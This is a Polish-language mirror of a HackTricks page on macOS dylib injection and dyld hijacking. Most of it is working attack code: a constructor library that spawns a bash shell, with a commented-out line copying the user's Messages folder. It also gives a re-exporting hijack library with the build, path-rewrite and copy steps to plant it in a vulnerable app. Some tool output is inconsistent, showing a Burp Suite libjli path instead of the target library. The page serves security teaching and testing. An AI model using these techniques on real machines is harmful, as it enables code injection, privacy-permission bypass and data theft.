mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-12 21:28:55 +00:00
189 lines
7.1 KiB
Markdown
189 lines
7.1 KiB
Markdown
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## DYLD\_INSERT\_LIBRARIES Podstawowy przykład
|
|
|
|
**Biblioteka do wstrzyknięcia** w celu wykonania powłoki:
|
|
```c
|
|
// gcc -dynamiclib -o inject.dylib inject.c
|
|
|
|
#include <syslog.h>
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <stdlib.h>
|
|
__attribute__((constructor))
|
|
|
|
void myconstructor(int argc, const char **argv)
|
|
{
|
|
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
|
|
printf("[+] dylib injected in %s\n", argv[0]);
|
|
execv("/bin/bash", 0);
|
|
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
|
}
|
|
```
|
|
Binary do zaatakowania:
|
|
```c
|
|
// gcc hello.c -o hello
|
|
#include <stdio.h>
|
|
|
|
int main()
|
|
{
|
|
printf("Hello, World!\n");
|
|
return 0;
|
|
}
|
|
```
|
|
Wstrzyknięcie:
|
|
```bash
|
|
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
|
```
|
|
## Dyld Hijacking Example
|
|
|
|
Docelowy podatny plik binarny to `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
|
|
|
{% tabs %}
|
|
{% tab title="entitlements" %}
|
|
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
|
<strong>[...]com.apple.security.cs.disable-library-validation[...]
|
|
</strong></code></pre>
|
|
{% endtab %}
|
|
|
|
{% tab title="LC_RPATH" %}
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Check where are the @rpath locations
|
|
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
|
|
cmd LC_RPATH
|
|
cmdsize 32
|
|
path @loader_path/. (offset 12)
|
|
--
|
|
cmd LC_RPATH
|
|
cmdsize 32
|
|
path @loader_path/../lib2 (offset 12)
|
|
```
|
|
{% endcode %}
|
|
{% endtab %}
|
|
|
|
{% tab title="@rpath" %}
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Check librareis loaded using @rapth and the used versions
|
|
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
|
|
name @rpath/lib.dylib (offset 24)
|
|
time stamp 2 Thu Jan 1 01:00:02 1970
|
|
current version 1.0.0
|
|
compatibility version 1.0.0
|
|
# Check the versions
|
|
```
|
|
{% endcode %}
|
|
{% endtab %}
|
|
{% endtabs %}
|
|
|
|
Z poprzednich informacji wiemy, że **nie sprawdza podpisu załadowanych bibliotek** i **próbuje załadować bibliotekę z**:
|
|
|
|
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
|
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
|
|
|
Jednak pierwsza z nich nie istnieje:
|
|
```bash
|
|
pwd
|
|
/Applications/VulnDyld.app
|
|
|
|
find ./ -name lib.dylib
|
|
./Contents/Resources/lib2/lib.dylib
|
|
```
|
|
Więc to możliwe, aby to przejąć! Stwórz bibliotekę, która **wykonuje dowolny kod i eksportuje te same funkcjonalności** co legalna biblioteka, poprzez jej ponowny eksport. I pamiętaj, aby skompilować ją z oczekiwanymi wersjami:
|
|
|
|
{% code title="lib.m" %}
|
|
```objectivec
|
|
#import <Foundation/Foundation.h>
|
|
|
|
__attribute__((constructor))
|
|
void custom(int argc, const char **argv) {
|
|
NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
|
}
|
|
```
|
|
{% endcode %}
|
|
|
|
Skompiluj to:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
|
# Note the versions and the reexport
|
|
```
|
|
{% endcode %}
|
|
|
|
Ścieżka reeksportu utworzona w bibliotece jest względna względem loadera, zmieńmy ją na absolutną ścieżkę do biblioteki do eksportu:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
#Check relative
|
|
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
|
cmd LC_REEXPORT_DYLIB
|
|
cmdsize 48
|
|
name @rpath/libjli.dylib (offset 24)
|
|
|
|
#Change the location of the library absolute to absolute path
|
|
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
|
|
|
|
# Check again
|
|
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
|
cmd LC_REEXPORT_DYLIB
|
|
cmdsize 128
|
|
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
|
|
```
|
|
{% endcode %}
|
|
|
|
Na koniec po prostu skopiuj to do **przejętej lokalizacji**:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
|
```
|
|
{% endcode %}
|
|
|
|
I **wykonaj** binarny i sprawdź, czy **biblioteka została załadowana**:
|
|
|
|
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
|
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib przejęty w /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
|
</strong>Użycie: [...]
|
|
</code></pre>
|
|
|
|
{% hint style="info" %}
|
|
Fajny artykuł na temat tego, jak wykorzystać tę lukę do nadużycia uprawnień kamery w telegramie, można znaleźć pod adresem [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
|
{% endhint %}
|
|
|
|
## Większa skala
|
|
|
|
Jeśli planujesz spróbować wstrzykiwać biblioteki w niespodziewane binaria, możesz sprawdzić komunikaty zdarzeń, aby dowiedzieć się, kiedy biblioteka jest ładowana w procesie (w tym przypadku usuń printf i wykonanie `/bin/bash`).
|
|
```bash
|
|
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
|
```
|
|
{% hint style="success" %}
|
|
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Wsparcie dla HackTricks</summary>
|
|
|
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|
|
{% endhint %}
|